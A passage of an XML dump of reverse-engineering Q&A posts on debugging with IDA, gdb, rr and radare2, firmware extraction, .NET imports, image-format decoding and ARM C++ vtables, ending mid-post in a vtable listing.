  <row Id="22529" PostTypeId="1" CreationDate="2019-11-13T02:02:49.840" Score="1" ViewCount="124" Body="&lt;p&gt;First of here is the &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Remote-Protocol.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;gdb remote protocol doc&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea of the below script is the following - you enter an &lt;em&gt;actual&lt;/em&gt; command (one that will be send as a direct packet see &lt;a href=&quot;https://sourceware.org/gdb/current/onlinedocs/gdb/Packets.html#Packets&quot; rel=&quot;nofollow noreferrer&quot;&gt;packets&lt;/a&gt;) in the gdb window then when you continue the process my command will be executed instead of the IDA &lt;code&gt;vCont;s:1&lt;/code&gt; or &lt;code&gt;vCont;c&lt;/code&gt;. This so the IDA recognize the actual changes you have introduced by executing your command. Simply responding with &quot;OK&quot; after the qRcmd will not work for lets say stepping back because IDA wouldn't ask for new register values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I launch rr with &lt;code&gt;rr replay -s 50505 -k&lt;/code&gt;, I attach with IDA to localhost:23946. Here is my mitm code (in node.js):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const net=require(&quot;net&quot;)&#xA;const process = require('process');&#xA;&#xA;net.createServer(server =&amp;gt; {&#xA;    const client = new net.Socket()&#xA;&#xA;    let lastcommand, response&#xA;    client.connect(50505, &quot;localhost&quot;)&#xA;&#xA;/**&#xA; * @param {Buffer} string&#xA; */&#xA;    function createResponse(string)&#xA;    {&#xA;        string = string.slice(0, string.length - 1)&#xA;&#xA;        let checksum = 0 &#xA;        for(const a of string) checksum += a&#xA;        checksum %= 256&#xA;        return &quot;$&quot;+string.toString()+&quot;#&quot;+checksum.toString(0x10)&#xA;    }    &#xA;&#xA;    client.on(&quot;data&quot;, handler = data =&amp;gt; {&#xA;        let string = data.toString()&#xA;&#xA;        console.log(string),&#xA;        server.write(string)&#xA;    })&#xA;&#xA;    server.on(&quot;data&quot;, handlerserver = async data =&amp;gt; {&#xA;        let string = data.toString()&#xA;&#xA;        console.log(string)&#xA;&#xA;        let cmd&#xA;&#xA;        if((cmd = string.replace(/^\$qRcmd,([a-f0-9]+)#/, (_, substring) =&amp;gt; substring)) != string){&#xA;            lastcommand = string = createResponse(Buffer.from(cmd, &quot;hex&quot;))&#xA;            const innerresponse = createResponse(Buffer.from(&quot;OK\n&quot;))&#xA;            console.log(innerresponse)&#xA;            server.write(innerresponse)&#xA;&#xA;            response = lastcommand&#xA;&#xA;&#xA;            return&#xA;        }&#xA;        else if(string.search(/^\$vCont;c#a8/) != -1 || string.search(/^\$vCont;s:1#23/) != -1) return console.log(response),&#xA;            client.write(response)//, response = undefined&#xA;        client.write(string)&#xA;    })&#xA;}).listen(23946, &quot;localhost&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically what's not working is that when i enter &lt;code&gt;bs&lt;/code&gt; (step backwards one instruction packet) in the gdb monitor then press continue it'll step backwards twice the first time and on the second it'll run back to the beginning of the program.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2019-11-13T08:26:21.160" LastActivityDate="2021-04-06T13:01:20.120" Title="What's wrong with my mitm to support rr commands with gdbserver on IDA?" Tags="|ida|gdb|javascript|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22530" PostTypeId="2" ParentId="22529" CreationDate="2019-11-13T08:32:32.177" Score="1" Body="&lt;p&gt;It turned out IDA sends first sends &lt;code&gt;vCont;c&lt;/code&gt; and then &lt;code&gt;vCont;s:1&lt;/code&gt; for some weird reason in that particular instance. I fixed my mitm :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const net=require(&quot;net&quot;)&#xA;const process = require('process');&#xA;&#xA;net.createServer(server =&amp;gt; {&#xA;    const client = new net.Socket()&#xA;&#xA;    let lastcommand, response, lastterm&#xA;    client.connect(50505, &quot;localhost&quot;)&#xA;&#xA;/**&#xA; * @param {Buffer} string&#xA; */&#xA;    function createResponse(string)&#xA;    {&#xA;        string = string.slice(0, string.length - 1)&#xA;&#xA;        let checksum = 0 &#xA;        for(const a of string) checksum += a&#xA;        checksum %= 256&#xA;        return &quot;$&quot;+string.toString()+&quot;#&quot;+checksum.toString(0x10)&#xA;    }    &#xA;&#xA;    client.on(&quot;data&quot;, handler = data =&amp;gt; {&#xA;        let string = data.toString()&#xA;&#xA;        if(string.search(/^\$T\d\d/) != -1) lastterm = string&#xA;&#xA;        console.log(string),&#xA;        server.write(string)&#xA;    })&#xA;&#xA;    server.on(&quot;data&quot;, handlerserver = async data =&amp;gt; {&#xA;        let string = data.toString()&#xA;&#xA;        console.log(string)&#xA;&#xA;        let cmd&#xA;&#xA;        if((cmd = string.replace(/^\$qRcmd,([a-f0-9]+)#/, (_, substring) =&amp;gt; substring)) != string){&#xA;            lastcommand = string = createResponse(Buffer.from(cmd, &quot;hex&quot;))&#xA;            const innerresponse = createResponse(Buffer.from(&quot;OK\n&quot;))&#xA;            console.log(innerresponse)&#xA;            server.write(innerresponse)&#xA;&#xA;            response = lastcommand&#xA;&#xA;&#xA;            return&#xA;        }&#xA;        else if(string.search(/^\$vCont;c#a8/) != -1) return console.log(response),&#xA;            client.write(response)//, response = undefined&#xA;        else if(string.search(/^\$vCont;s:1#23/) != -1) return console.log(lastterm), server.write(lastterm)&#xA;        client.write(string)&#xA;    })&#xA;}).listen(23946, &quot;localhost&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I basically capture the last received signal and resend it the second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is still a small issue when issuing a command when the program counter is on a break-point but that's small enough to ignore.&lt;/p&gt;&#xA;" OwnerUserId="14334" LastEditorUserId="14334" LastEditDate="2019-11-13T09:47:20.993" LastActivityDate="2019-11-13T09:47:20.993" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22531" PostTypeId="2" ParentId="22528" CreationDate="2019-11-13T11:26:39.980" Score="4" Body="&lt;p&gt;Most USB sticks use a special-purpose microcontroller, most likely based on a 8051 core. To save costs and space, the board rarely includes a separate flash chip for the firmware, instead it is either written to the internal MCU flash, or, more commonly, to a reserved area of the main NAND storage. In the latter case you can try to dump the raw  NAND and look for the firmware there, but in the former it won't be possible. However, to save costs and increase rate of production and QA, the firmware is usually accessible via undocumented vendor-specific commands via USB. There are tools used for testing, configuration and firmware updates at each vendor and &lt;a href=&quot;http://flashboot.ru/files/&quot; rel=&quot;nofollow noreferrer&quot;&gt;sometimes they leak&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that these tools usually do not have 'get current firmware' functionality as this is not something they need during production, however most of them ether include full firmware updates or code snippets that are uploaded into the MCU's RAM to perform the more intensive testing or formatting procedures which are not necessarily included in the production firmware. If you analyze their working, you can probably upload a snippet which would dump the current firmware for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the SD cards firmware (which have a similar situation), check &lt;a href=&quot;https://www.bunniestudios.com/blog/?p=3554&quot; rel=&quot;nofollow noreferrer&quot;&gt;investigation by bunnie and xobs from 30C3&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-11-13T11:26:39.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22536" PostTypeId="2" ParentId="22484" CreationDate="2019-11-14T09:19:05.960" Score="1" Body="&lt;p&gt;These are functions exported by ordinal rather than by name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This being a C++ library the actual (mangled) function names are long (up to 200 characters with an average of over 50.)  Dynamic linking using names in this case would involve lots of long string comparisons that would slow down the loading of applications using this library.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6153 &#xA;?GetRecentListOfPanes@CRecentDockSiteInfo@@QEAAAEAV?$CList@PEAUHWND__@@PEAU1@@@H@Z&#xA;public: class CList&amp;lt;struct HWND__ * __ptr64,struct HWND__ * __ptr64&amp;gt; &amp;amp; __ptr64 __cdecl CRecentDockSiteInfo::GetRecentListOfPanes(int) __ptr64&#xA;&#xA;8718 &#xA;?OnCancelMode@CPane@@IEAAXXZ&#xA;protected: void __cdecl CPane::OnCancelMode(void) __ptr64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find lists of these in several reverse engineering tools.&#xA;e.g. &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/blob/master/Ghidra/Features/Base/data/symbols/win32/mfc140.exports&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ghidra&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2019-11-14T09:19:05.960" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22538" PostTypeId="1" CreationDate="2019-11-14T10:16:17.130" Score="2" ViewCount="959" Body="&lt;p&gt;When in visual mode (command &lt;code&gt;v&lt;/code&gt;) in radare, in the disassembly panel, I can press &lt;kbd&gt;;&lt;/kbd&gt; to add a comment at the location I am current seeked to (which is the top instruction in the disassembly view). I usually step through the software and would like to add comments at the current instruction pointer (&lt;code&gt;rip&lt;/code&gt;) location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a key for that? Can I define one or redefine the &lt;kbd&gt;;&lt;/kbd&gt; key?&lt;/p&gt;&#xA;" OwnerUserId="30181" LastActivityDate="2019-12-15T17:44:25.197" Title="Add disassembly comment at rip in radare2" Tags="|debugging|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22540" PostTypeId="1" CreationDate="2019-11-14T18:31:41.810" Score="2" ViewCount="714" Body="&lt;p&gt;When I looking at exe file with Ida I see &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;call dword ptr [ebp -70p]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is that? Why this function calling by ebp and not &lt;code&gt;call sub_0xabcd&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know which function is that to enter to this function and see what happen there?&lt;/p&gt;&#xA;" OwnerUserId="30177" LastActivityDate="2022-04-06T19:02:10.147" Title="Call function by ebp" Tags="|ida|windows|functions|register|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22542" PostTypeId="2" ParentId="22540" CreationDate="2019-11-15T04:36:30.687" Score="1" Body="&lt;p&gt;There could be a huge number of reasons for this ranging from something as innocuous as a method pointer being a local variable to obfuscation (highly unlikely with the assembly you showed). As for how to follow it, you can either BP the call and follow it or track the frame pointer to see what it's set to.&lt;/p&gt;&#xA;" OwnerUserId="29598" LastActivityDate="2019-11-15T04:36:30.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22543" PostTypeId="1" CreationDate="2019-11-15T05:21:28.157" Score="0" ViewCount="326" Body="&lt;p&gt;Programs such as &lt;a href=&quot;http://ntinfo.biz/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Detect It Easy&lt;/a&gt; or IDA can show functions and libraries (&lt;code&gt;DLLs&lt;/code&gt;) imported by a binary in the case of &lt;code&gt;C/C++&lt;/code&gt; binaries. I have a collection of &lt;code&gt;.NET&lt;/code&gt; malware that I'm analyzing and would like to see the imported functions and DLLs for these binaries. I've noticed that &lt;code&gt;_CorExeMain&lt;/code&gt; is the only thing that I can see in the &lt;code&gt;imports&lt;/code&gt; section with tools such as &lt;code&gt;IDA&lt;/code&gt; for such binaries. I'm aware that I can decompile the &lt;code&gt;.NET&lt;/code&gt; binary in a tool like &lt;code&gt;dnSpy&lt;/code&gt; and manually read the function calls but I would like an automated and fast of doing this such as the &lt;code&gt;imports&lt;/code&gt; section in &lt;code&gt;IDA&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to see functions imported from dynamic libraries for &lt;code&gt;.NET&lt;/code&gt; binaries?&lt;/p&gt;&#xA;" OwnerUserId="17040" LastActivityDate="2019-11-15T05:21:28.157" Title="Is there a way to see 'imports' in a .NET binary?" Tags="|ida|binary-analysis|.net|automation|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="22545" PostTypeId="2" ParentId="22538" CreationDate="2019-11-15T13:34:51.893" Score="0" Body="&lt;p&gt;I guess that this should be something like &lt;code&gt;.&lt;/code&gt; followed by &lt;code&gt;;&lt;/code&gt;. According the manual:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.&lt;/code&gt; : Seek to program counter&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;;&lt;/code&gt; : Add comment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-11-15T13:34:51.893" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22546" PostTypeId="2" ParentId="11647" CreationDate="2019-11-15T14:43:04.740" Score="0" Body="&lt;p&gt;Radare2 has a configuration variable &lt;code&gt;dbg.follow.child&lt;/code&gt; which is equivalent to &lt;code&gt;set follow-fork-mod&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; e??~fork&#xA;    dbg.follow.child: Continue tracing the child process on fork. By default the parent process is traced&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set it to debug the child process with the command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e dbg.follow.child = true&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or when launching radare with &lt;code&gt;-e&lt;/code&gt; : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r2 -e dbg.follow.child=true -d ./my_binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30191" LastActivityDate="2019-11-15T14:43:04.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22547" PostTypeId="1" CreationDate="2019-11-15T16:32:29.747" Score="2" ViewCount="474" Body="&lt;p&gt;I'm building a jar file that use jni to load an x86-64 elf extracted from Android apk file. But when I run my app, it throw this exception:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caused by: java.lang.UnsatisfiedLinkError: /lib/x86_64-linux-gnu/libc.so: version `LIBC' not found (required by /tmp/jna-1195364489/jna8496397495292865633.tmp)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So look like the libc.so version on my machine is not compatible with such elf file. I understand that Android app use bionic instead of glibc. How can I install these bionic *.so file into my Ubuntu linux so it can be used with such jar app?&lt;/p&gt;&#xA;" OwnerUserId="30195" LastActivityDate="2019-11-17T13:00:29.893" Title="How to use x64-86 elf file from an apk file in a linux machine?" Tags="|android|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22549" PostTypeId="1" AcceptedAnswerId="22556" CreationDate="2019-11-16T04:40:30.993" Score="2" ViewCount="341" Body="&lt;p&gt;I am working on reversing a &lt;a href=&quot;https://www.fujifilm.com/support/digital_cameras/software/firmware/s/finepix_s2500hd_series/exe/index/FPUPDATE.DAT&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware update from a FujiFilm FinePix S1800 camera&lt;/a&gt;. So far I have managed to identify the instruction set (ARCompact) and dump a few things from the camera using the hidden service menu, one of which is called &quot;BOOTCODE&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The firmware update is not encrypted but has a couple of headers that I need to strip off.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  52 48 49 52 01 10 07 01  00 06 05 00 01 00 a4 01  |RHIR............|&#xA;00000010  01 00 00 00 01 00 dc 14  00 80 04 00 5a 04 aa a1  |............Z...|&#xA;00000020  01 00 00 00 dd 14 31 07  00 80 2e 00 8a 60 7c 91  |......1......`|.|&#xA;00000030  00 00 00 00 0e 1c 4c 05  00 00 43 00 cd 37 11 ea  |......L...C..7..|&#xA;00000040  01 00 00 00 5a 21 21 00  00 a0 4d 00 f9 64 e2 8a  |....Z!!...M..d..|&#xA;00000050  00 00 00 00 7b 21 a6 02  00 a0 4d 00 3f d3 06 86  |....{!....M.?...|&#xA;00000060  00 00 00 00 22 24 34 00  00 a0 4d 00 3b 3c 2a 80  |....&quot;$4...M.;&amp;lt;*.|&#xA;00000070  02 00 00 00 20 b4 04 00  00 00 00 00 00 00 00 00  |.... ...........|&#xA;00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;000001f0  4b 48 49 52 80 9b fc 28  7f 64 03 d7 04 00 2f 01  |KHIR...(.d..../.|&#xA;00000200  f1 c0 3a 09 e1 27 30 d0  fa 0f 81 33 d1 c0 e0 7e  |..:..'0....3...~|&#xA;00000210  f1 c0 c6 0d 01 29 fc 1c  c8 b6 2c d0 00 88 0a 23  |.....)....,....#|&#xA;00000220  00 37 80 e0 b8 08 02 00  26 0c 61 2a 00 dd 08 77  |.7......&amp;amp;.a*...w|&#xA;00000230  02 b8 07 e0 84 20 3f 0f  2a 0c 61 2a 02 24 1c 30  |..... ?.*.a*.$.0|&#xA;00000240  8b 70 1a 70 17 f0 0e 0c  61 2a a9 70 8e 0e e1 26  |.p.p....a*.p...&amp;amp;|&#xA;00000250  3a 70 04 e0 84 20 3f 0f  0a 0c 61 2a 02 24 1c 30  |:p... ?...a*.$.0|&#xA;00000260  8b 76 c9 70 0a 0f e1 26  2a 71 15 20 4c 23 c0 a4  |.v.p...&amp;amp;*q. L#..|&#xA;00000270  01 e5 d7 0d c2 93 00 d9  15 20 cc 23 20 a4 64 d9  |......... .# .d.|&#xA;00000280  12 d0 22 a0 e9 70 5e 0c  a0 01 0a 71 42 0d 81 27  |..&quot;..p^....qB..'|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;BOOTCODE.DMP&lt;/code&gt; starts out with the same instructions located at &lt;code&gt;0x3620-0x36A0&lt;/code&gt;, so this might be one of the entry points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I am not sure where the headers finish and the ROM starts. I have tried to brute force the header format and so far have come up with nothing. Short of obtaining a TSOP programmer I have no other method of which to obtain a clean ROM dump of the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, I am looking for help in two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Extracting the ROM from the update file&lt;/li&gt;&#xA;&lt;li&gt;Determining the base for the ROM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update (2019-11-16 18:28)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems the firmware dump of the boot code is prefixed by 16 bytes, the first four of which seem to denote the base address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update (2019-11-16 19:30)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further analysis shows that the ROM may start at 0x200 as this de-compiles into the following with a guessed (but incorect) base address. Code that calls this address is also valid.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;                 push    blink&#xA;                 bl.d    sub_F015C518&#xA;                 ld      r0, [unk_EFF0CCA4]&#xA;                 bl      sub_F01743E0&#xA;                 pop     blink&#xA;                 j       [blink]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2768" LastEditorUserId="2768" LastEditDate="2019-11-16T08:33:31.247" LastActivityDate="2019-11-17T13:07:14.607" Title="Identifying ROM segment in unknown firmware update file" Tags="|firmware|entry-point|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22551" PostTypeId="2" ParentId="22456" CreationDate="2019-11-16T09:28:30.393" Score="3" Body="&lt;p&gt;I'm not sure what the 'louie' files are for, but this python script should help reconstruct the images:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import png&#xA;&#xA;# simple scale from [0,0x1f] to [0,0xff]&#xA;def scale_up(n):&#xA;  return (n&amp;lt;&amp;lt;3)|n&#xA;&#xA;def make_pal(n):&#xA;  val = (n[1]&amp;lt;&amp;lt;8)|n[0]&#xA;  return [scale_up((val&amp;gt;&amp;gt;0)&amp;amp;0x1f), scale_up((val&amp;gt;&amp;gt;5)&amp;amp;0x1f), scale_up((val&amp;gt;&amp;gt;10)&amp;amp;0x1f)]&#xA;&#xA;w=256&#xA;h=192&#xA;&#xA;image_base='img_159_9_0'&#xA;&#xA;pixel_data_file=f'{image_base}_dewey.bin'&#xA;palette_file=f'{image_base}_huey.bin'&#xA;&#xA;with open(palette_file, 'rb') as f:&#xA;  pal_bytes = f.read()&#xA;&#xA;real_pal=[]&#xA;for i in range(0,256):&#xA;  m = make_pal(pal_bytes[i*2:i*2+2])&#xA;  real_pal.append(m)&#xA;&#xA;&#xA;with open(pixel_data_file, 'rb') as f:&#xA;  pixel_bytes = f.read()&#xA;&#xA;tile_w = 8&#xA;tile_h = 8&#xA;image_tile_h = h/tile_h&#xA;image_tile_w = w/tile_w&#xA;&#xA;# if any pixel/channel is not written, the png writer will complain about -1&#xA;rows_dat = [[-1 for n in range(w*3)] for m in range(h)]&#xA;for i in range(w*h):&#xA;  tile_i = int(i / (tile_w*tile_h))&#xA;  tile_x = int(tile_i % image_tile_w)&#xA;  tile_y = int(tile_i / image_tile_w)&#xA;  small_i = int(i % (tile_w*tile_h))&#xA;  small_x = int(small_i % tile_w)&#xA;  small_y = int(small_i / tile_w)&#xA;  rows_dat[tile_y*tile_h + small_y][3*(tile_x*tile_w + small_x)] = real_pal[pixel_bytes[i]][0]&#xA;  rows_dat[tile_y*tile_h + small_y][3*(tile_x*tile_w + small_x)+1] = real_pal[pixel_bytes[i]][1]&#xA;  rows_dat[tile_y*tile_h + small_y][3*(tile_x*tile_w + small_x)+2] = real_pal[pixel_bytes[i]][2]&#xA;&#xA;with open(f'{image_base}.png', 'wb') as of:&#xA;  writer = png.Writer(width=w, height=h, greyscale=False)&#xA;  writer.write(of, rows_dat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your example data, it looks like &lt;code&gt;img_159_9_0_dewey.bin&lt;/code&gt; is padded at the start with 64 bytes of &lt;code&gt;0x00&lt;/code&gt;'s. I'm not sure if this was an error in dumping it, but removing that &lt;a href=&quot;https://i.stack.imgur.com/BfmEp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;helps&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the images you provided seem to be 256x192 (I left them rotated, the tile logic is clearer without unrotating - you can do this after), made up of 8x8 tiles of pixels. The pixel data (stored in &lt;code&gt;dewey&lt;/code&gt;) indexes into a palette of RGB555 values stored as u16le (stored in &lt;code&gt;huey&lt;/code&gt;). You didn't provide any, but I guess the 32 byte &lt;code&gt;huey&lt;/code&gt; files are just palettes of 16 colors - the corresponding pixel data may consist of tightly packed 4-bit indexes.&lt;/p&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-11-16T09:28:30.393" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22552" PostTypeId="1" AcceptedAnswerId="22555" CreationDate="2019-11-16T11:49:21.163" Score="0" ViewCount="54" Body="&lt;p&gt;I have 2 recorded IDA pro instruction traces, how can I get a list of differing instructions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am able to load the diffs as overlays but there are a large amount of instructions recorded that are mostly the same so being able to get a short-list of the different instructions would save a lot of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19294" LastActivityDate="2019-11-16T19:40:04.807" Title="IDA - How can I get a list of differing instructions from 2 recorded instruction traces?" Tags="|ida|debugging|tracing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22553" PostTypeId="1" AcceptedAnswerId="22583" CreationDate="2019-11-16T14:02:13.590" Score="3" ViewCount="633" Body="&lt;p&gt;In a program I'm trying to recover data structures I've discovered the following strange (ARM) disassembly code:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ctor_1:&#xA;    ldr  r1, =vtable_base&#xA;    str  r1, [r0]             ;r0 always contains object instance ptr&#xA;    ;... more setup&#xA;    bx   lr&#xA;&#xA;ctor_2:&#xA;    push {r4,lr}&#xA;    mov  r4, r0&#xA;    bl   ctor_1&#xA;    ldr  r1, =vtable_derived&#xA;    str  r1, [r0]             ;vtable override in derived class&#xA;    add  r0, r0, #0x20&#xA;    bl   obj_ctor             ;calls an object's ctor at r0+0x20&#xA;    ldr  r1, =vtable_derived_so&#xA;    str  r1, [r0, 0x20]       ;overrides object vtable&#xA;    ;...&#xA;    pop  {r4,lr}&#xA;    bx   lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far it looks all fine. There seems to be a derived class overriding the vptr after the base class ctor has been called. An internal subobject is first initialized in &lt;code&gt;obj_ctor&lt;/code&gt; and then the vtable is set to a derived subobject. The first strange thing is why &lt;code&gt;ctor_2&lt;/code&gt; doesn't directly call the subobject's derived ctor which in turn sets up first the base subobject. I suppose this happened because the call has been inlined by the compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, things get spicy when the whole object is again subclassed:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ctor_3:&#xA;    push {r4,lr}&#xA;    mov  r4, r0&#xA;    bl   ctor_2&#xA;    ldr  r1, =vtable_derived2&#xA;    ldr  r2, =vtable_derived2_so&#xA;    str  r1, [r0]           ;vtable to the new subclass&#xA;    str  r2, [r0, 0x20]     ;what??&#xA;    ;...&#xA;    pop  {r4,lr}&#xA;    bx   lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have absolutely no idea how this is possible. How can a subclass 'change' a member type (which is definitely not even a pointer) which has already been setup in a superclass? It is confirmed that &lt;code&gt;ctor_2&lt;/code&gt; and &lt;code&gt;ctor_3&lt;/code&gt; create both valid opaque objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Do I misunderstand how vtables work in disassembly? Could a compiler generate such code from valid C++?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if that's important, but the symbols &lt;code&gt;ctor_2&lt;/code&gt; and the &lt;code&gt;ctor_2&lt;/code&gt; called from &lt;code&gt;ctor_3&lt;/code&gt; are actually different albeit executing the exact same code (maybe because of different ctors?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the destructors look like:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dtor_1:&#xA;    push {r4, lr}&#xA;    ldr  r1, =vtable_base&#xA;    str  r1, [r0]                      ;why overwrite the vtable with the same value?&#xA;    ;...calls to delete for heap objects&#xA;    pop  {r4, lr}&#xA;    bx   lr&#xA;&#xA;dtor_2:&#xA;    push {r4, lr}&#xA;    mov  r4, r0&#xA;    ldr  r1, =vtable_derived&#xA;    ldr  r2, =vtable_derived_so&#xA;    str  r1, [r0]&#xA;    str  r2, [r0, #0x20]&#xA;    add  r0, r0, #0x20&#xA;    bl   dtor_base_so&#xA;    mov  r0, r4&#xA;    bl   dtor_1&#xA;    pop  {r4, lr}&#xA;    bx   lr&#xA;&#xA;dtor_3:&#xA;    push {r4, lr}&#xA;    mov  r4, r0&#xA;    ldr  r1, =vtable_derived2&#xA;    ldr  r2, =vtable_derived2_so&#xA;    str  r1, [r0]&#xA;    str  r2, [r0, #0x20]&#xA;    ;...&#xA;    bl   dtor_2&#xA;    pop  {r4, lr}&#xA;    bx   lr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the vtables are overwritten with the same value. There is no call to &lt;code&gt;dtor_derived2_so&lt;/code&gt;, so the vtable overwrite seems unneccesary. Even more interesting is that when the subobject should be destructed, there's always a call to &lt;code&gt;dtor_base_so&lt;/code&gt; and not &lt;code&gt;dtor_derived_so&lt;/code&gt;. I checked the vtables of &lt;code&gt;derived_so&lt;/code&gt; and &lt;code&gt;derived2_so&lt;/code&gt; and they have the following two destructors:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dtor_derived_so:&#xA;    ldr  r12, =0xFFFFFFE0              ;-0x20&#xA;    add  r0, r0, r12&#xA;    b    dtor_2&#xA;&#xA;dtor_derived2_so:&#xA;    ldr  r12, =0xFFFFFFE0              ;-0x20&#xA;    add  r0, r0, r12&#xA;    b    dtor_3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When they're called they call immediately the corresponding dtor. Since they reference fixed locations at which the object should be destroyed, the subobjects seem to only exist inside &lt;code&gt;derived2&lt;/code&gt;'s class. What is going on here? Why would one force the object's destruction if a subobject is destroyed? Or do we have here a special case of virtual inheritance?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the vtables:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;vtable_base:&#xA;    dcd  0x82016D20          ;dtor_1&#xA;    dcd  0x82016CE0          ;dtor_1 (destruct and free)&#xA;    dcd  0x82016BF8&#xA;    dcd  0x82016C98&#xA;    dcd  0x82016BB8&#xA;    dcd 